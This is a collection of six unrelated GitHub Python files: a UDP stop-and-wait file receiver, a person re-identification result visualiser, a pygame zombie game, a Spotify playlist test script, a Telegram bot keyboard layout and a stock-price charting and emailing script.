{"seq_id":"20774217316","text":"import socket\nimport struct\nimport os\nimport hashlib\n\nip_address='127.0.0.1'\nport_number=3333\n\nserver_sock=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserver_sock.bind((ip_address,port_number))\nprint(\"server socket open...\")\n\n\n##########\nrecv_num=0\n\ntotal_size=0\n\nwhile 1:\n\tfile_info,addr=server_sock.recvfrom(1045)\n\tchecksum=file_info[:20]\n\tsequence_num=file_info[20:21]\n\tdata=file_info[21:]\n\n\tif sequence_num.decode() == str(recv_num%2):\n\t\th=hashlib.sha1()\n\t\th.update(sequence_num+data)\n\t\tcheck_recv=h.digest()\n\t\tfile_path=\"\"\n\n\t\tif check_recv == checksum:\n\t\t\trecv_num+=1\n\t\t\ttotal_size=struct.unpack(\"!i\",data[:4])[0]\n\t\t\tfile_name=data[4:].decode()\n\n\t\t\tfile_path=\"./received_dir/\"+file_name\n\t\t\tnew_file=open(file_path,\"wb\")\n\t\t\tprint(\"Send file info ACK..\")\n\t\t\tack_str=\"ACK\"+str(recv_num%2)\n\t\t\tserver_sock.sendto(ack_str.encode(), addr)\n\t\t\tbreak\n\t\telse:\n\t\t\trecv_num=0\n\t\t\tprint(\"Send file info ACK..\")\n\t\t\tack_str=\"ACK\"+str(recv_num%2)\n\t\t\tserver_sock.sendto(ack_str.encode(), addr)\n\n\nfile2=open(file_path,\"wb\")\nprint(\"file Name = \"+file_name)\nprint(\"file Size = \"+str(total_size))\nprint(\"received file Path = \"+file_path)\ncurrent_size=0\n\n\nwhile current_size != total_size:\n\n\tfile_data,addr=server_sock.recvfrom(1045)\n\tchecksum=file_data[:20]\n\tsequence_num=file_data[20:21]\n\tdata2=file_data[21:]\n\n\tif sequence_num.decode() == str(recv_num%2):\n\t\th=hashlib.sha1()\n\t\th.update(sequence_num+data2)\n\n\t\tcheck_recv=h.digest()\n\n\n\t\tif check_recv == checksum:\n\t\t\trecv_num+=1\n\n\t\t\tif total_size-current_size >= 1024:\n\t\t\t\tcurrent_size+=1024\n\n\t\t\t\tfile2.write(data2)\n\t\t\telse:\n\n\t\t\t\tcurrent_size+=total_size-current_size\n\t\t\t\tfile2.write(data2)\n\n\t\t\tprogress=(current_size/total_size)*100\n\t\t\tprint(\"(currenet size / total size) = \"+str(current_size)+\"/\"+str(total_size)+\" , \"+str(round(progress,3))+\" % \")\n\n\t\t\tack_str=\"ACK\"+str(recv_num%2)\n\t\t\tserver_sock.sendto(ack_str.encode(), addr)\n\n\t\telse:\n\t\t\trecv_num-=1\n\t\t\tack_str=\"ACK\"+str(recv_num%2)\n\t\t\tserver_sock.sendto(ack_str.encode(), addr)\n\nfile2.close()\nprint(\"File Receive End.\")\n","repo_name":"JangMinYoung/data-communication","sub_path":"Stop-and-Wait ARQ/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38450559618","text":"from __future__ import print_function, absolute_import\nimport shutil\n\nimport sys\nimport os\nimport numpy as np\nimport os.path as osp\nimport cv2\nimport torch\nfrom torch.nn import functional as F\n\nsys.path.append(osp.join(osp.abspath(osp.dirname(__file__)), \"..\"))\n\nimport data_v2\nimport loss\nimport optim\nfrom model import Model\nfrom option import args\nimport utils.utility as utility\nfrom utils.model_complexity import compute_model_complexity\nimport yaml\n\n\n__all__ = ['visualize_ranked_results']\n\nGRID_SPACING = 10\nQUERY_EXTRA_SPACING = 90\nBW = 5  # border width\nGREEN = (0, 255, 0)\nRED = (0, 0, 255)\n\n\ndef visualize_ranked_results(\n    distmat, query_loader, gallery_loader, data_type, width=128, height=256, save_dir='', topk=10\n):\n    \"\"\"Visualizes ranked results.\n    Supports both image-reid and video-reid.\n    For image-reid, ranks will be plotted in a single figure. For video-reid, ranks will be\n    saved in folders each containing a tracklet.\n    Args:\n        distmat (numpy.ndarray): distance matrix of shape (num_query, num_gallery).\n        dataset (tuple): a 2-tuple containing (query, gallery), each of which contains\n            tuples of (img_path(s), pid, camid, dsetid).\n        data_type (str): \"image\" or \"video\".\n        width (int, optional): resized image width. Default is 128.\n        height (int, optional): resized image height. Default is 256.\n        save_dir (str): directory to save output images.\n        topk (int, optional): denoting top-k images in the rank list to be visualized.\n            Default is 10.\n    \"\"\"\n    num_q, num_g = distmat.shape\n    print(num_q,num_g)\n    def mkdir_if_missing(s_dir):\n\n        if not osp.exists(s_dir):\n            os.makedirs(s_dir)\n\n    mkdir_if_missing(save_dir)\n    print('# query: {}\\n# gallery {}'.format(num_q, num_g))\n    print('Visualizing top-{} ranks ...'.format(topk))\n\n    query = query_loader\n    gallery = gallery_loader\n    print(len(query),len(gallery))\n\n    assert num_q == len(query)\n    assert num_g == len(gallery)\n\n    indices = np.argsort(distmat, axis=1)\n\n    def _cp_img_to(src, dst, rank, prefix, matched=False):\n        \"\"\"\n        Args:\n            src: image path or tuple (for vidreid)\n            dst: target directory\n            rank: int, denoting ranked position, starting from 1\n            prefix: string\n            matched: bool\n        \"\"\"\n        if isinstance(src, (tuple, list)):\n            if prefix == 'gallery':\n                suffix = 'TRUE' if matched else 'FALSE'\n                dst = osp.join(\n                    dst, prefix + '_top' + str(rank).zfill(3)\n                ) + '_' + suffix\n            else:\n                dst = osp.join(dst, prefix + '_top' + str(rank).zfill(3))\n            mkdir_if_missing(dst)\n            for img_path in src:\n                shutil.copy(img_path, dst)\n        else:\n            dst = osp.join(\n                dst, prefix + '_top' + str(rank).zfill(3) + '_name_' +\n                osp.basename(src)\n            )\n            shutil.copy(src, dst)\n    # num_q =200\n\n\n    for q_idx in range(num_q):\n        qimg_path, qpid, qcamid = query[q_idx][:3]\n        qimg_path_name = qimg_path[0] if isinstance(\n            qimg_path, (tuple, list)\n        ) else qimg_path\n\n        if data_type == 'image':\n            qimg = cv2.imread(qimg_path)\n            qimg = cv2.resize(qimg, (width, height))\n            qimg = cv2.copyMakeBorder(\n                qimg, BW, BW, BW, BW, cv2.BORDER_CONSTANT, value=(0, 0, 0)\n            )\n            # resize twice to ensure that the border width is consistent across images\n            qimg = cv2.resize(qimg, (width, height))\n            num_cols = topk + 1\n            grid_img = 255 * np.ones(\n                (\n                    height,\n                    num_cols * width + topk * GRID_SPACING + QUERY_EXTRA_SPACING, 3\n                ),\n                dtype=np.uint8\n            )\n            grid_img[:, :width, :] = qimg\n        else:\n            qdir = osp.join(\n                save_dir, osp.basename(osp.splitext(qimg_path_name)[0])\n            )\n            mkdir_if_missing(qdir)\n            _cp_img_to(qimg_path, qdir, rank=0, prefix='query')\n\n        rank_idx = 1\n        for g_idx in indices[q_idx, :]:\n            gimg_path, gpid, gcamid = gallery[g_idx][:3]\n            invalid = (qpid == gpid) & (qcamid == gcamid)\n\n            if not invalid:\n                matched = gpid == qpid\n                if data_type == 'image':\n                    border_color = GREEN if matched else RED\n                    gimg = cv2.imread(gimg_path)\n                    gimg = cv2.resize(gimg, (width, height))\n                    gimg = cv2.copyMakeBorder(\n                        gimg,\n                        BW,\n                        BW,\n                        BW,\n                        BW,\n                        cv2.BORDER_CONSTANT,\n                        value=border_color\n                    )\n                    gimg = cv2.resize(gimg, (width, height))\n                    start = rank_idx * width + rank_idx * GRID_SPACING + QUERY_EXTRA_SPACING\n                    end = (\n                        rank_idx + 1\n                    ) * width + rank_idx * GRID_SPACING + QUERY_EXTRA_SPACING\n                    ggname = osp.basename(osp.splitext(gimg_path)[0])\n                    \n                    font=cv2.FONT_HERSHEY_SIMPLEX#使用默认字体\n                    # cv2.putText(gimg, ggname,(0,20),font,0.6,(255,255,255),2)\n\n                    grid_img[:, start:end, :] = gimg\n                else:\n                    _cp_img_to(\n                        gimg_path,\n                        qdir,\n                        rank=rank_idx,\n                        prefix='gallery',\n                        matched=matched\n                    )\n\n                rank_idx += 1\n                if rank_idx > topk:\n                    break\n\n        if data_type == 'image':\n            imname = osp.basename(osp.splitext(qimg_path_name)[0])\n            cv2.imwrite(osp.join(save_dir, imname + '.jpg'), grid_img)\n\n        if (q_idx + 1) % 100 == 0:\n            print('- done {}/{}'.format(q_idx + 1, num_q))\n\n    print('Done. Images have been saved to \"{}\" ...'.format(save_dir))\n\n\n# tools for reid datamanager data_v2\ndef _parse_data_for_train(data):\n    imgs = data[0]\n    pids = data[1]\n    return imgs, pids\n\n\ndef _parse_data_for_eval(data):\n    imgs = data[0]\n    pids = data[1]\n    camids = data[2]\n    return imgs, pids, camids\n\n\ndef extract_feature(model, device, loader, args):\n    features = torch.FloatTensor()\n    pids, camids = [], []\n\n    for d in loader:\n        inputs, pid, camid = _parse_data_for_eval(d)\n        input_img = inputs.to(device)\n        outputs = model(input_img)\n        # print(outputs.shape)\n        if args.feat_inference == 'after':\n\n            f1 = outputs.data.cpu()\n            # flip\n            inputs = inputs.index_select(\n                3, torch.arange(inputs.size(3) - 1, -1, -1))\n            input_img = inputs.to(device)\n            outputs = model(input_img)\n            f2 = outputs.data.cpu()\n\n        else:\n            f1 = outputs[-1].data.cpu()\n            # flip\n            inputs = inputs.index_select(\n                3, torch.arange(inputs.size(3) - 1, -1, -1))\n            input_img = inputs.to(device)\n            outputs = model(input_img)\n            f2 = outputs[-1].data.cpu()\n\n        ff = f1 + f2\n        if ff.dim() == 3:\n            fnorm = torch.norm(\n                ff, p=2, dim=1, keepdim=True)  # * np.sqrt(ff.shape[2])\n            ff = ff.div(fnorm.expand_as(ff))\n            ff = ff.view(ff.size(0), -1)\n            # ff = ff.view(ff.size(0), -1)\n            # fnorm = torch.norm(ff, p=2, dim=1, keepdim=True)\n            # ff = ff.div(fnorm.expand_as(ff))\n\n        else:\n            fnorm = torch.norm(ff, p=2, dim=1, keepdim=True)\n            ff = ff.div(fnorm.expand_as(ff))\n            # pass\n        # fnorm = torch.norm(ff, p=2, dim=1, keepdim=True)\n        # ff = ff.div(fnorm.expand_as(ff))\n        features = torch.cat((features, ff), 0)\n        pids.extend(pid)\n        camids.extend(camid)\n        # print(features.shape)\n    return features, np.asarray(pids), np.asarray(camids)\n\n\ndef main():\n    # parser = argparse.ArgumentParser()\n    # parser.add_argument('--root', type=str)\n    # parser.add_argument('-d', '--dataset', type=str, default='market1501')\n    # parser.add_argument('-m', '--model', type=str, default='osnet_x1_0')\n    # parser.add_argument('--weights', type=str)\n    # parser.add_argument('--save-dir', type=str, default='log')\n    # parser.add_argument('--height', type=int, default=256)\n    # parser.add_argument('--width', type=int, default=128)\n    # args = parser.parse_args()\n\n    if args.config != '':\n        with open(args.config, 'r') as f:\n            config = yaml.load(f)\n        for op in config:\n            setattr(args, op, config[op])\n\n    # loader = data.Data(args)\n    ckpt = utility.checkpoint(args)\n    loader = data_v2.ImageDataManager(args)\n    model = Model(args, ckpt)\n    optimzer = optim.make_optimizer(args, model)\n    # loss = loss.make_loss(args, ckpt) if not args.test_only else None\n\n    start = -1\n    if args.load != '':\n        start = ckpt.resume_from_checkpoint(\n            osp.join(ckpt.dir, 'model-latest.pth'), model, optimzer) - 1\n    if args.pre_train != '':\n        ckpt.load_pretrained_weights(model, args.pre_train)\n\n    scheduler = optim.make_scheduler(args, optimzer, start)\n\n    # print('[INFO] System infomation: \\n {}'.format(get_pretty_env_info()))\n    ckpt.write_log('[INFO] Model parameters: {com[0]} flops: {com[1]}'.format(\n        com=compute_model_complexity(model, (1, 3, args.height, args.width))))\n\n    use_gpu = torch.cuda.is_available()\n\n    # datamanager = torchreid.data.ImageDataManager(\n    #     root=args.root,\n    #     sources=args.dataset,\n    #     height=args.height,\n    #     width=args.width,\n    #     batch_size_train=100,\n    #     batch_size_test=100,\n    #     transforms=None,\n    #     train_sampler='SequentialSampler'\n    # )\n    # test_loader = loader.testloader\n    test_loader = loader.test_loader\n    query_loader = loader.query_loader\n    query_dataset = loader.queryset.query\n    gallery_dataset = loader.galleryset.gallery\n    # model = torchreid.models.build_model(\n    #     name=args.model,\n    #     num_classes=datamanager.num_train_pids,\n    #     use_gpu=use_gpu\n    # )\n\n    if use_gpu:\n        model = model.cuda()\n\n    device = torch.device('cuda' if use_gpu else 'cpu')\n\n    model.eval()\n\n    # self.ckpt.add_log(torch.zeros(1, 6))\n    # qf = self.extract_feature(self.query_loader,self.args).numpy()\n    # gf = self.extract_feature(self.test_loader,self.args).numpy()\n    with torch.no_grad():\n\n        qf, query_ids, query_cams = extract_feature(\n            model, device, query_loader, args)\n        gf, gallery_ids, gallery_cams = extract_feature(\n            model, device, test_loader, args)\n\n    if args.re_rank:\n        q_g_dist = np.dot(qf, np.transpose(gf))\n        q_q_dist = np.dot(qf, np.transpose(qf))\n        g_g_dist = np.dot(gf, np.transpose(gf))\n        dist = re_ranking(q_g_dist, q_q_dist, g_g_dist)\n    else:\n        # dist = cdist(qf, gf,metric='cosine')\n\n        # cosine distance\n        dist =1- torch.mm(qf, gf.t()).cpu().numpy()\n\n    # if args.weights and check_isfile(args.weights):\n    #     load_pretrained_weights(model, args.weights)\n    save_dir = ckpt.dir\n\n    visualize_ranked_results(\n        dist,\n        query_dataset,\n        gallery_dataset,\n        loader.data_type,\n        width=loader.width,\n        height=loader.height,\n        save_dir=osp.join(save_dir, 'visrank'),\n        # topk=visrank_topk)\n    )\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"MatthewAbugeja/lmbn","sub_path":"utils/visualize_rank.py","file_name":"visualize_rank.py","file_ext":"py","file_size_in_byte":11725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11434394656","text":"#Authors: Marc, Navdeep, Duncan, (Adi)\r\n#Purpose: To make a sweet game\r\n#Date Started: May 23, 2016\r\n#Date Last Edited: Today\r\n#\r\nimport pygame\r\npygame.init()\r\npygame.mixer.init()\r\nimport random\r\nimport time\r\n#Imports the function that draws the crosshair\r\nfrom Crosshair import MoveTheHair\r\nfrom mainscreen import startScreen\r\n#loads mp3 file to be played during game and loops 50 times(5 min song more than enough time)\r\n\r\nclass Background(object):\r\n\r\n\r\n    def __init__(self):\r\n        #Initializes variables\r\n        #sets canvas size\r\n        self.height = 720\r\n        self.width = 1280\r\n        #creates canvas\r\n        self.gameDisplay = pygame.display.set_mode((self.width,self.height),pygame.FULLSCREEN)\r\n        #creates timer to be increased each level\r\n        self.clock = pygame.time.Clock()\r\n        #calls the function that creates the zombie image on the display\r\n        self.zombie = self.create_zombie()\r\n        #variable sent to clock to determine how fast zombies move\r\n        self.tickvalue = 7\r\n        #sets a stipulation for the game loop to run\r\n        self.game_exit = False\r\n        #determines the number of lives the player starts with\r\n        self.life_count = 5\r\n        #determines what level the player is on\r\n        self.level_on = 1\r\n        #initializes the font comic sans\r\n        self.font = pygame.font.SysFont(\"comicsansms\",40)\r\n\r\n    def message_to_screen(self,msg,colour, yDisplace, xDisplace,x):\r\n        #Function for screen text (level,lives)\r\n        screen_text = self.font.render(msg, True, colour)\r\n        x.blit(screen_text,[10+xDisplace,yDisplace])\r\n\r\n    def gameloop(self):\r\n        #Main game loop\r\n\r\n\r\n        #Sets window title\r\n        pygame.display.set_caption(\"The Running Dead\")\r\n        #Sets background image\r\n        background_image = pygame.image.load(\"background.png\")\r\n        #Creates variables that help with the zombies targeting/tracking\r\n        self.move_counter = 0\r\n        ace_stopper = 0\r\n        #Variables z# are used to determine if zombie is shot or reaches house '''\r\n        z1 = 0\r\n        z2 = 0\r\n        z3 = 0\r\n        #Creates the zombies with their randomized range of coords\r\n        zombie1 = self.zombie_coords1()\r\n        zombie2 = self.zombie_coords2()\r\n        zombie3 = self.zombie_coords3()\r\n        #Zombies starting points that will be increased\r\n        xvalue1 = 0\r\n        xvalue2 = 0\r\n        xvalue3 = 0\r\n\r\n        #Death counter\r\n        deaths = 0\r\n        #Stops code if condition is met\r\n        temp = 0\r\n        #How many zombies are left\r\n        zombie_count = 3\r\n\r\n        game_exit = False\r\n        while not self.game_exit:\r\n            #Background and in game text\r\n            self.gameDisplay.blit(background_image,(0,0))\r\n            self.message_to_screen(\"Lives:\"+str(self.life_count),(255,0,0),0,0,self.gameDisplay)\r\n            self.message_to_screen(\"Level:\"+str(self.level_on),(255,0,0),50,0,self.gameDisplay)\r\n            #X button at top right\r\n            pygame.draw.rect(self.gameDisplay, (255,0,0), [1230, 0, 50, 50])\r\n            self.message_to_screen(\"X\", (0,0,0),-5,1232, self.gameDisplay)\r\n\r\n            #Crosshair\r\n            instance = MoveTheHair()\r\n            instance.crosshair(self.gameDisplay)\r\n\r\n            #Targeting/tracking mouse position\r\n            for event in pygame.event.get():\r\n                if event.type==pygame.QUIT:\r\n                    self.game_exit=True\r\n                if event.type == pygame.MOUSEBUTTONUP:\r\n                    #Gets mouse position when clicked and checks if its on the x-button\r\n                    pos=pygame.mouse.get_pos()\r\n                    #Draws yellow circle to indicate when player clicks\r\n                    pygame.draw.circle(self.gameDisplay,(255,255,0),pos,10,10)\r\n                    sound = pygame.mixer.Sound(\"Gun.ogg\")\r\n                    sound.play()\r\n                    Quiting=self.Exit(1230,-5,pos)\r\n                    if Quiting==True:\r\n                        pygame.quit()\r\n                        return True\r\n\r\n\r\n                    #Otherwise it calls Target() which checks mouses coords with the zombies coords\r\n                    Trial=self.Target(zombie1[0],zombie1[1],zombie2[0],zombie2[1],zombie3[0],zombie3[1],self.move_counter,pos)\r\n                    #Checks what Trial returned (True/False , 1/2/3)\r\n                    if Trial[0] == True:\r\n                        if Trial[1]==1:\r\n                            z1 = 1\r\n\r\n                        if Trial[1]==2:\r\n                            z2 = 1\r\n\r\n                        if Trial[1]==3:\r\n                            z3 = 1\r\n            #Zombie code(Only draws zombie if zombie is not shot)\r\n            if ace_stopper == 0:\r\n\r\n                for i in range (3):\r\n                    #draws the zombie if its not shot\r\n                    if i == 0 and z1 == 0:\r\n                        self.gameDisplay.blit(self.zombie,(xvalue1,zombie1[1]))\r\n                        #moves the zombie x number of pixels\r\n                        xvalue1+=15\r\n                    if z1 == 1 :\r\n                        xvalue1 = -10\r\n                    if i == 1 and z2 == 0:\r\n                        self.gameDisplay.blit(self.zombie,(xvalue2,zombie2[1]))\r\n\r\n                        xvalue2+=15\r\n                    if z2 == 1:\r\n                        xvalue2 = -10\r\n                    if i ==2 and z3 == 0:\r\n                        self.gameDisplay.blit(self.zombie,(xvalue3,zombie3[1]))\r\n\r\n                        xvalue3+=15\r\n                    if z3 == 1:\r\n                        xvalue3 = -10\r\n                #once its determined which zombies need to be drawn, it draws them\r\n                pygame.display.flip()\r\n\r\n\r\n                #Keeps track of how many times zombie moved. Used in Target()\r\n                self.move_counter += 1\r\n                #Checks if zombie reaches end and takes away a life if true\r\n                if temp == 0 and zombie_count>0:\r\n                    if xvalue1>=1190:\r\n                        ace_stopper=1\r\n                        z1=2\r\n                    if ace_stopper == 1:\r\n                        deaths -=1\r\n                    if xvalue2>=1190:\r\n                        ace_stopper=2\r\n                        z2=2\r\n                    if ace_stopper == 2:\r\n                        deaths -=1\r\n                    if xvalue3>=1190:\r\n                        ace_stopper=3\r\n                        z3=2\r\n                    if ace_stopper == 3:\r\n                        deaths -=1\r\n\r\n                    if ace_stopper!=0:\r\n                        #changes the temp stopper so the code above does not run\r\n                        temp = 1\r\n            #Counts deaths\r\n            self.life_count+=deaths\r\n            deaths = 0\r\n            #The time delay which determines their speed\r\n            self.clock.tick(self.tickvalue)\r\n            #pygame.time.wait(self.tickvalue)\r\n            if z1 !=0 and z2 != 0 and z3 !=0:\r\n                break\r\n        return False\r\n\r\n\r\n\r\n\r\n    def level_pass(self,username):\r\n    #Runs game after level ends if your lives>0 otherwise it will quit program\r\n        instance1 = startScreen()\r\n        runner = False\r\n        stopper = False\r\n\r\n        while runner == False and stopper == False:\r\n            pygame.init()\r\n            #creates conditions that must be met in order for this program to run to prevent anything pygame running after pygame.quit\r\n            #also to allow the main menu to end\r\n            if stopper == False:\r\n                instance1.x=1\r\n\r\n                stopper = instance1.main_menu(self.gameDisplay)\r\n\r\n\r\n\r\n                while self.life_count>0 and runner == False and stopper == False:\r\n                    #speeds up zombies and increases level count\r\n                    runner = self.gameloop()\r\n                    #pygame.mouse.set_visible(True)\r\n                    self.level_on+=1\r\n                    self.tickvalue+=3\r\n\r\n                totlist = []\r\n                username_read = open(\"usernames.txt\",\"r\")\r\n\r\n                counter = 0\r\n                for line in username_read:\r\n                    if line.startswith(username):\r\n                        logged_score = counter\r\n                        textValues = line.split()\r\n                    counter = counter+1\r\n\r\n                #checks if the score got is bigger than the old high score\r\n                if self.level_on > int(textValues[2]):\r\n                    redo = open(\"usernames.txt\",\"r\")\r\n\r\n                    for line in redo:\r\n                        reWrite = line.split()\r\n                        totlist.append(reWrite)\r\n\r\n                    totlist[logged_score][2] = self.level_on\r\n\r\n                    rewritter = open(\"usernames.txt\",\"w\")\r\n                    nextvar = -1\r\n                    #rewrites the whole file with the new score inserted\r\n                    for writer in range(len(totlist)):\r\n                        nextvar += 1\r\n                        rewritter.write(str(totlist[nextvar][0]))\r\n                        rewritter.write(\" \")\r\n                        rewritter.write(str(totlist[nextvar][1]))\r\n                        rewritter.write(\" \")\r\n                        rewritter.write(str(totlist[nextvar][2]))\r\n                        rewritter.write(\"\\n\")\r\n                    rewritter.close()\r\n                top10appender = open(\"top10.txt\",\"a\")\r\n                top10appender.write(username+\" \"+str(0)+\" \"+str(self.level_on)+\"\\n\")\r\n                top10appender.close()\r\n\r\n            self.life_count = 5\r\n            self.tickvalue = 7\r\n            self.level_on=1\r\n\r\n\r\n\r\n    def create_zombie(self):\r\n        #Loads in zombie image\r\n        zombie = pygame.image.load(\"zombie_sprite.png\")\r\n        return zombie\r\n    def zombie_coords1(self):\r\n        #creates zombie 1 coords\r\n        y_cord = random.randint(59,66)*10\r\n        x_cord = 0\r\n        coords = (x_cord,y_cord)\r\n        return coords\r\n    def zombie_coords2(self):\r\n        #creates zombie 2 coords\r\n        y_cord = random.randint(46,52)*10\r\n        x_cord = 0\r\n        coords = (x_cord,y_cord)\r\n        return coords\r\n    def zombie_coords3(self):\r\n        #creates zombie 3 coords\r\n        y_cord = random.randint(33,39)*10\r\n        x_cord = 0\r\n        coords = (x_cord,y_cord)\r\n        return coords\r\n    def Target(self,zx1,zy1,zx2,zy2,zx3,zy3,moves,pos):\r\n        #Compares mouse position to zombies coords\r\n        #Uses moves variable to determine where zombie is currently based off of original coords passed\r\n        moves=moves*15\r\n        zx1+=moves\r\n        zx2+=moves\r\n        zx3+=moves\r\n        #Compares x-values then y-values\r\n        for i in range (0,30):\r\n            if pos[0]==(zx1+i):\r\n                for j in range(0,60):\r\n                    if pos[1]==(zy1+j):\r\n                        return True,1\r\n            if pos[0]==(zx2+i):\r\n                for j in range(0,60):\r\n                    if pos[1]==(zy2+j):\r\n                        return True,2\r\n            if pos[0]==(zx3+i):\r\n                for j in range(0,60):\r\n                    if pos[1]==(zy3+j):\r\n                        return True,3\r\n        return False,0\r\n\r\n    def Exit(self,x1,y1,pos):\r\n        #Exits if True\r\n        for i in range (0,50):\r\n            if pos[0]==(x1+i):\r\n                for j in range(0,50):\r\n                    if pos[1]==(y1+j):\r\n                        return True\r\n\r\n","repo_name":"NavSainiUofT/Python-Game-Hub-Zombie-Game","sub_path":"Navs Final Performance Task/Zombie_Game.py","file_name":"Zombie_Game.py","file_ext":"py","file_size_in_byte":11399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"23586630989","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb  7 14:04:03 2022\n\n@author: chorgan\n\"\"\"\n\n# %%\nimport spotipy\nimport streamlit as st\nimport datetime as dt\nfrom spotipy.oauth2 import SpotifyOAuth\nimport time\n\n# import secrets from streamlit deployment\ncid = st.secrets[\"SPOTIPY_CLIENT_ID\"]\ncsecret = st.secrets[\"SPOTIPY_CLIENT_SECRET\"]\nuri = st.secrets[\"SPOTIPY_REDIRECT_URI\"]\n\n# set scope and establish connection\nscopes = \" \".join([\"user-read-private\",\n                   \"playlist-read-private\",\n                   \"playlist-modify-private\",\n                   \"playlist-modify-public\",\n                   \"user-read-recently-played\"])\n\n# create oauth object\noauth = SpotifyOAuth(scope=scopes,\n                     redirect_uri=uri,\n                     client_id=cid,\n                     client_secret=csecret)\n\n# retrieve auth url\nauth_url = oauth.get_authorize_url()\n\n# %% leave for testing\nresponse = \"\"\ncode = oauth.parse_response_code(response)\ntoken = oauth.get_access_token(code, as_dict=False)\nsp = spotipy.Spotify(auth=token)\n\n\n\n\n\n#%%\ntoday = dt.date.today()\none_week_ago = today - dt.timedelta(days=7)\nyesterday = today - dt.timedelta(days=1)\nright_now = dt.datetime.now().time()\n\n# testing for recent func\ncombined = dt.datetime.combine(one_week_ago, right_now)\nsince = int(time.mktime(combined.timetuple())) * 1000\n\n# %%\n# a playlist with more than 100 tracks\nplaylist_id = \"3m8vvNPoEN83tbwgz5xY1Q\"\n\n# %%\nst.write(\"Remove all songs listened to since this time\")\ncol1, col2 = st.columns(2)\n\nsince_date = col1.date_input(\"Date (max one week ago)\",\n                             value=today,\n                             min_value=one_week_ago)\nsince_time = col2.time_input(\"Time\",\n                             value=right_now)\nst.write(dt.datetime.combine(since_date, since_time))\n","repo_name":"chorgan182/PlaylistPreserver","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"20353374792","text":"# @xmartperson\n\nfrom pyrogram.types import InlineKeyboardButton\n\n\ndef song_markup(_, vidid):\n    buttons = [\n        [\n            InlineKeyboardButton(\n                text=_[\"SG_B_2\"],\n                callback_data=f\"song_helper audio|{vidid}\",\n            ),\n            InlineKeyboardButton(\n                text=_[\"SG_B_3\"],\n                callback_data=f\"song_helper video|{vidid}\",\n            ),\n        ],\n        [\n                InlineKeyboardButton(\"乂sᴜᴘᴘᴏʀᴛ乂\", url=f\"https://t.me/Rockerz_Updates\"),\n                InlineKeyboardButton(\n                    \"乂ᴄʜᴀɴɴᴇʟ乂\", url=f\"https://t.me/Rockerz_Updates\"\n            ),\n        ],\n        [\n            InlineKeyboardButton(\n                text=_[\"CLOSE_BUTTON\"], callback_data=\"close\"\n            ),\n        ],\n    ]\n    return buttons\n","repo_name":"S780821/Rock-Music-2","sub_path":"Rockz/utils/inline/song.py","file_name":"song.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"13120527093","text":"import csv\nimport requests\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport smtplib, ssl\n\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\n# Use the request library to connect to the API\nurl = 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol=IBM&interval=5min&apikey=API_KEY'\nr = requests.get(url)\nresult = r.json()\n\n# Put the json file in a csv file\nheader = ['Company', 'Date', 'Price']\nwith open('IBMStockPrice.csv', 'a+', newline='', encoding='UTF-8') as f:\n    writer = csv.writer(f)\n    writer.writerow(header)\n\ndataForAllDays = result['Time Series (Daily)']\nfor date in result['Time Series (Daily)']:\n    dataForSingleDate = dataForAllDays[date]\n\n    data = ['IBM', date, dataForSingleDate['4. close']]\n    with open('IBMStockPrice.csv', 'a+', newline='', encoding='UTF-8') as f:\n        writer = csv.writer(f)\n        writer.writerow(data)\n\n# Load the contents of csv file into dataframe\ndf = pd.read_csv('IBMStockPrice.csv')\n\n\n# Put the last 10 days of data in arrays\nstock_prices = []\nstock_date = []\nsum = 0\nfor i in range (10):\n    stock_date.insert(i, df.iat[i,1][5:10])\n    stock_prices.insert(i, float(df.iat[i,2]))\n    sum += df.iat[i,2]\n\nmean_value = round(sum / 10, 2)\n\n# Use matplotlib to make a line graph\nstock_date.reverse()\nstock_prices.reverse()\nfig = plt.figure()\nplt.plot(stock_date, stock_prices)\nplt.title(\"IBM Stock Data\")\nplt.xlabel(\"Date\")\nplt.ylabel(\"Stock Prices\")\nfig.savefig('stock_summary.pdf', dpi=fig.dpi)\n\n# Set the data for your email\nsubject = \"Stock Data Summary\"\nbody = \"Attached below is the stock data for IBM for the past 10 days. The average value for stock was: \" + str(mean_value)\nsender_email = \"sadhisophi@gmail.com\"\nreceiver_email = \"acharyasadhika@gmail.com\"\npassword = \"sender_password\"\n\n# Create a multipart message and set headers\nmessage = MIMEMultipart()\nmessage[\"From\"] = sender_email\nmessage[\"To\"] = receiver_email\nmessage[\"Subject\"] = subject\nmessage[\"Bcc\"] = receiver_email  # Recommended for mass emails\n\n# Add body to email\nmessage.attach(MIMEText(body, \"plain\"))\n\nfilename = \"stock_summary.pdf\"  # In same directory as script\n\n# Open PDF file in binary mode\nwith open(filename, \"rb\") as attachment:\n    # Add file as application/octet-stream\n    # Email client can usually download this automatically as attachment\n    part = MIMEBase(\"application\", \"octet-stream\")\n    part.set_payload(attachment.read())\n\n# Encode file in ASCII characters to send by email\nencoders.encode_base64(part)\n\n# Add header as key/value pair to attachment part\npart.add_header(\n    \"Content-Disposition\",\n    f\"attachment; filename= {filename}\",\n)\n\n# Add attachment to message and convert message to string\nmessage.attach(part)\ntext = message.as_string()\n\n# Log in to server using secure context and send email\ncontext = ssl.create_default_context()\nwith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n    server.login(sender_email, password)\n    server.sendmail(sender_email, receiver_email, text)\n","repo_name":"sadhikaacharya/stock-data-analyzer","sub_path":"stocks.py","file_name":"stocks.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
